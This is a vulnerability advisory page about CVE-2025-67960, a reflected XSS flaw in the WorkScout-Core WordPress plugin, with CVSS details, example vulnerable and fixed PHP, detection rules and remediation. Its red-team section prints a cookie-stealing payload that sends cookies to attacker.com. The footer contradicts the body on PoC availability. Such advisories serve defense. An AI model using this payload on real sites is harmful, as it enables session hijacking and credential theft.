CVE-2025-67960
Executive Summary
CVE-2025-67960 is a reflected Cross-Site Scripting (XSS) vulnerability in the WordPress plugin WorkScout-Core by Purethemes, affecting versions up to and including 1.7.06. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript into a reflected response. This can lead to session hijacking, credential theft, or defacement within the context of the victim's browser session. As of this report, no official patch has been released, and no public proof-of-concept (PoC) or exploit code is available. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains significant for unpatched WordPress sites.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the WordPress plugin ecosystem. Since WorkScout-Core is distributed via the WordPress plugin repository and potentially through commercial channels, any site running version 1.7.06 or earlier is at risk. Administrators should verify the plugin version and apply any available updates immediately. No known supply chain compromise has been reported, but the lack of a patch increases the risk of malicious actors leveraging this flaw.
CVSS Breakdown & Threat Level
- CVSS Score: 7.1 (High)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: Required (UI:R)
- Scope: Changed (S:C)
- Confidentiality Impact: Low (C:L)
- Integrity Impact: Low (I:L)
- Availability Impact: Low (A:L)
The threat level is High due to the low attack complexity and no required privileges, though user interaction is needed. Successful exploitation can lead to limited data exposure, content manipulation, and potential service disruption within the victim's session.
Deep Dive & Mechanics
The vulnerability is a reflected XSS flaw in the WordPress plugin WorkScout-Core. Reflected XSS occurs when an application receives data in an HTTP request and includes that data within the immediate response in an unsafe way. In this case, the plugin fails to properly sanitize or escape user-supplied input before rendering it in the web page. An attacker can craft a malicious URL containing JavaScript code. When a victim clicks on the link, the script executes in the context of the victim's browser, allowing the attacker to perform actions such as stealing cookies, redirecting to malicious sites, or modifying page content.
The vulnerable parameter is likely passed via query string or form data and reflected directly into the HTML output without proper encoding. Since the plugin is part of the WordPress ecosystem, the attack surface includes any page that uses the vulnerable component, such as job listing forms or search functionality.
Vulnerable vs. Patched Code
Since no patch is available, a hypothetical fix would involve proper output escaping. Below is an example of vulnerable code and a patched version.
Vulnerable Code (PHP):
<?php
// Vulnerable: Directly echoing user input
$search = $_GET['search'];
echo "<div>You searched for: " . $search . "</div>";
?>
Patched Code (PHP):
<?php
// Patched: Using WordPress escaping functions
$search = sanitize_text_field($_GET['search']);
echo "<div>You searched for: " . esc_html($search) . "</div>";
?>
The patched version uses esc_html() to encode HTML special characters, preventing script injection.
Exploitation & Lab Setup
Red Team
Since no public exploit code is available, a manual exploitation approach is described. The attacker crafts a URL with a malicious payload in a vulnerable parameter.
Example URL:
http://target-site.com/?search=<script>alert('XSS')</script>
Steps:
- Identify a page that reflects user input (e.g., search results).
- Inject a JavaScript payload into the parameter.
- Send the crafted link to the victim via phishing or social engineering.
- Upon clicking, the script executes in the victim's browser.
Advanced Payload (Cookie Stealing):
http://target-site.com/?search=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
Blue Team
Detection:
- Monitor web server logs for unusual query strings containing
<script>tags or JavaScript event handlers. - Use WAF rules to block reflected XSS patterns.
Mitigation:
- Apply input validation and output encoding.
- Use Content Security Policy (CSP) headers to restrict script execution.
- Keep the plugin updated; if no patch, consider disabling the plugin.
Lab Setup:
- Use a local WordPress installation with WorkScout-Core 1.7.06.
- Set up a web server (e.g., Apache) and a browser with developer tools.
- Test the vulnerability by injecting payloads and observing the response.
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP requests containing
<script>tags in query parameters. - Outbound connections to known malicious domains from the victim's browser.
- HTTP requests containing
- Host IOCs:
- Unusual JavaScript execution in browser console.
- Modified page content or unexpected redirects.
- File IOCs:
- Log entries with patterns like
?search=<script>or?q=<script>.
- Log entries with patterns like
Detection Engineering
YARA Rule
rule CVE_2025_67960_Reflected_XSS {
meta:
description = "Detects reflected XSS attempts targeting WorkScout-Core plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-67960"
strings:
$xss_payload = /<script[^>]*>.*?<\/script>/i
$workscout_param = /[?&](search|q|s)=[^&]*/i
condition:
$xss_payload and $workscout_param
}
Sigma Rule
title: Reflected XSS Attempt Against WorkScout-Core
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP requests with XSS payloads targeting WorkScout-Core plugin
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
c-uri|contains:
- '<script>'
- 'alert('
- 'onerror='
c-uri|contains|all:
- 'workscout-core'
condition: selection
falsepositives:
- Legitimate use of script tags in search (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-67960 Reflected XSS Attempt"; flow:to_server; content:"<script>"; http_uri; nocase; content:"workscout-core"; http_uri; nocase; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the WorkScout-Core plugin until a patch is available.
- Implement a Web Application Firewall (WAF) with rules to block reflected XSS patterns.
- Apply input validation and output encoding on all user-supplied data.
Long-term Fix:
- Monitor the vendor's website for a patched version (e.g., 1.7.07 or higher).
- If no patch is released, consider replacing the plugin with an alternative.
Detection:
- Deploy the provided YARA, Sigma, and Suricata rules to detect exploitation attempts.
- Review web server logs for suspicious activity.
User Education:
- Train users to avoid clicking on suspicious links.
- Encourage the use of browser extensions that block XSS.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.